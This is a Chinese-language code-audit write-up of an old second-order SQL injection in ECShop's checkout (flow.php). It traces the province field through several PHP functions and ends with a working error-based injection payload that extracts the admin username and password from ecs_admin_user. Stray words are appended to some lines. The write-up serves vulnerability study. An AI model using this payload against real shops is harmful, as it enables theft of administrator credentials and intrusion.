這是一個很老的漏洞了。最近學習代碼審計在烏雲上看到的,做者只給了部分分析,和利用的exp。php
0x1代碼分析mysql
漏洞出如今flow.phpsql
在flow.php的372行有以下代碼數據庫
{ /* * 保存收貨人信息 */ $consignee = array( 'address_id' => empty($_POST['address_id']) ? 0 : intval($_POST['address_id']), 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 'country' => empty($_POST['country']) ? '' : $_POST['country'], 'province' => empty($_POST['province']) ? '' : $_POST['province'], 'city' => empty($_POST['city']) ? '' : $_POST['city'], 'district' => empty($_POST['district']) ? '' : $_POST['district'], 'email' => empty($_POST['email']) ? '' : $_POST['email'], 'address' => empty($_POST['address']) ? '' : $_POST['address'], 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 'sign_building' => empty($_POST['sign_building']) ? '' : $_POST['sign_building'], 'best_time' => empty($_POST['best_time']) ? '' : $_POST['best_time'], ); if ($_SESSION['user_id'] > 0) { include_once(ROOT_PATH . 'includes/lib_transaction.php'); /* 若是用戶已經登陸,則保存收貨人信息 */ $consignee['user_id'] = $_SESSION['user_id']; save_consignee($consignee, true); //進入save_consignee函數 }
跟蹤save_consignee函數,在includes/lib_transaaction.php的516行數組
function save_consignee($consignee, $default=false) { if ($consignee['address_id'] > 0) { /* 修改地址 */ $res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'UPDATE', 'address_id = ' . $consignee['address_id']); } else { /* 添加地址 */ $res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'INSERT'); $consignee['address_id'] = $GLOBALS['db']->insert_id(); } if ($default) { /* 保存爲用戶的默認收貨地址 */ $sql = "UPDATE " . $GLOBALS['ecs']->table('users') . " SET address_id = '$consignee[address_id]' WHERE user_id = '$_SESSION[user_id]'"; $res = $GLOBALS['db']->query($sql); } return $res !== false; } /*從代碼能夠看出咱們POST過來的數據進入了數據庫*/
咱們跟蹤下province變量的去處。函數
看到第527行,有以下代碼post
$region = array($consignee['country'], $consignee['province'], $consignee['city'], $consignee['district']); $shipping_list = available_shipping_list($region); $cart_weight_price = cart_weight_price($flow_type); $insure_disabled = true; $cod_disabled = true;
能夠看到數據都放到$region這個數組裏面來了,咱們繼續跟蹤$region學習
而後看到以下代碼fetch
$order = array( 'shipping_id' => intval($_POST['shipping']), 'pay_id' => intval($_POST['payment']), 'pack_id' => isset($_POST['pack']) ? intval($_POST['pack']) : 0, 'card_id' => isset($_POST['card']) ? intval($_POST['card']) : 0, 'card_message' => trim($_POST['card_message']), 'surplus' => isset($_POST['surplus']) ? floatval($_POST['surplus']) : 0.00, 'integral' => isset($_POST['integral']) ? intval($_POST['integral']) : 0, 'bonus_id' => isset($_POST['bonus']) ? intval($_POST['bonus']) : 0, 'need_inv' => empty($_POST['need_inv']) ? 0 : 1, 'inv_type' => $_POST['inv_type'], 'inv_payee' => trim($_POST['inv_payee']), 'inv_content' => $_POST['inv_content'], 'postscript' => trim($_POST['postscript']), 'how_oos' => isset($_LANG['oos'][$_POST['how_oos']]) ? addslashes($_LANG['oos'][$_POST['how_oos']]) : '', 'need_insure' => isset($_POST['need_insure']) ? intval($_POST['need_insure']) : 0, 'user_id' => $_SESSION['user_id'], 'add_time' => gmtime(), 'order_status' => OS_UNCONFIRMED, 'shipping_status' => SS_UNSHIPPED, 'pay_status' => PS_UNPAYED, 'agency_id' => get_agency_by_regions(array($consignee['country'], $consignee['province'], $consignee['city'], $consignee['district'])) );
數據進入了get_agency_by_regions函數,咱們跟進去看看。ui
來到includes\lib_order.php 第2124行代碼
看到此函數的定義
function get_agency_by_regions($regions) { if (!is_array($regions) || empty($regions)) { return 0; } $arr = array(); $sql = "SELECT region_id, agency_id " . "FROM " . $GLOBALS['ecs']->table('region') . " WHERE region_id " . db_create_in($regions) . " AND region_id > 0 AND agency_id > 0"; //進入數據庫了。 $res = $GLOBALS['db']->query($sql); while ($row = $GLOBALS['db']->fetchRow($res)) { $arr[$row['region_id']] = $row['agency_id']; } if (empty($arr)) { return 0; } $agency_id = 0; for ($i = count($regions) - 1; $i >= 0; $i--) { if (isset($arr[$regions[$i]])) { return $arr[$regions[$i]]; } } }
其中$region被傳入到db_create_in函數中。繼續跟蹤db_create_in函數
再includes\lib_common.php發現該函數的定義
function db_create_in($item_list, $field_name = '') { if (empty($item_list)) { return $field_name . " IN ('') "; } else { if (!is_array($item_list)) //若是$item_list不是數組 { $item_list = explode(',', $item_list); //用逗號分隔爲數組 } $item_list = array_unique($item_list); //去除數組中重複的值 $item_list_tmp = ''; foreach ($item_list AS $item) //循環遍歷 $item_list 裏的數據 { if ($item !== '') { $item_list_tmp .= $item_list_tmp ? ",'$item'" : "'$item'"; } } if (empty($item_list_tmp)) //若是$item_list_tmp爲空 { return $field_name . " IN ('') "; //直接返回 id IN ('') } else { return $field_name . ' IN (' . $item_list_tmp . ') '; } } }
能夠看到$region數組傳進去後返回了' IN (' . $item_list_tmp . ') ' 雖然此處有單引號括起來了。可是,沒有影響的。由於此處是二次注入。當數據進入mysql後轉義字符會被去除。
因此徹底不受GPC的影響。
0x2漏洞利用
把任意商品加入購物車在填寫配送地址那一頁,有地區選擇
flow.php?step=consignee&direct_shopping=1
好比省選擇安徽
其中POST數據以下
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111
&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80
&step=consignee&act=checkout&address_id=
province=3
改爲
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
這樣就注入完成了。